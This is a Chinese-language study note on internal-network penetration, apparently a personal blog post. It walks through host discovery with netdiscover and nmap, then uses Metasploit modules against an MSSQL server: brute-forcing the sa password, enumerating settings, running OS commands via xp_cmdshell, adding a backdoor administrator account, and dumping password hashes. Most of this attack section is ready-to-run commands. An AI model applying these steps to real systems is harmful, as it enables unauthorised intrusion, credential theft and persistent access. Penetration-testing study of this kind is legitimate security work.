0%

内网渗透学习笔记

本文将持续更新。系统记录内网渗透学习。

声明:本文仅研究学习所用,参考文章的一切活动均与本人无关。

内网服务探测

Netdiscover 探测活动主机

  • 简介

专用的二层发现工具。拥有主动和被动发现两种方式。

  • 参数
参数 意义
-i 网卡 指定监听的网卡
-r range 指定IP段
-l filename 从文件中读取IP段
-p 被动模式
-t ARP发送间隔
-c 发包数量
  • 使用举例
netdiscover i eth0 -r 192.168.3.0/24 #主动探测IP:192.168.3.0/24段存活的主机
netdiscover -p

使用Namp探测主机开放服务

由于已经使用netdiscover探测指定主机的使用Pn参数跳过Pn检测。具体使用参数说明在另一篇文章里讲.

nmap -sV -Pn 192.168.3.31

20200521142828

MSF攻击内网服务

MSF攻击内网SQL SERVER服务

爆破Mssql弱口令

  • 搜索mssql爆破payload
search mssql_login
  • 使用弱口令爆破payload
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.3.31
run
  • 如果提示:

[*] Error: 192.168.109.139: Metasploit::Framework::LoginScanner::Invalid Cred details can’t be blank, Cred details can’t be blank (Metasploit::Framework::LoginScanner::MSSQL)

则说明mssql不是默认密码需要指定字典进行爆破:

use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.3.31
set user_file /root/user.txt
set pass_file /root/pass.txt
run
  • 爆破成功sa密码为admin
    20200521143926

枚举Mssql配置信息

  • 搜索枚举Mssql配置信息payload
search mssql_enum
  • 使用Mssql-enum payload
use auxiliary/admin/mssql_enum
set username sa
set password admin
set rhosts 192.168.3.31
run
  • 这样可以看到mssql开放的哪些功能能够供我们利用,例如比较重要的就是xp_cmdshell能够直接继承mssql的权限执行系统命令:

20200521145004

执行系统命令

xp_cmdshell 执行命令

使用该模块时候如果xp_cmdshell没有启动将自动激活

  • 搜索mssql exec攻击脚本
search mssql_exec
  • 使用mssql_exec攻击脚本
use auxiliary/admin/mssql_exec
set username sa
set password admin
set rhosts 192.168.3.31
set cmd chcp 65001&whoami
run
  • 注意chcp 65001改变字符编码解决乱码问题,可以看到返回结果是system,直接添加新用户即可。

20200521145639

  • 增加用户
set cmd chcp 65001&net user test abc!123456 /add
run
  • 提升权限
set cmd chcp 65001&net localgroup administrators test /add

使用mssql_hashdump 抓取hash

use auxiliary/scanner/mssql/mssql_hashdump  
set rhosts 192.168.3.30
set password admin
set username sa
run

20200521224308

20200521224355

执行sql语句

use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.3.30
set password admin
set username sa
set sql set sql Select Name FROM Master.dbo.SysDatabases orDER BY Name
run 

20200521230010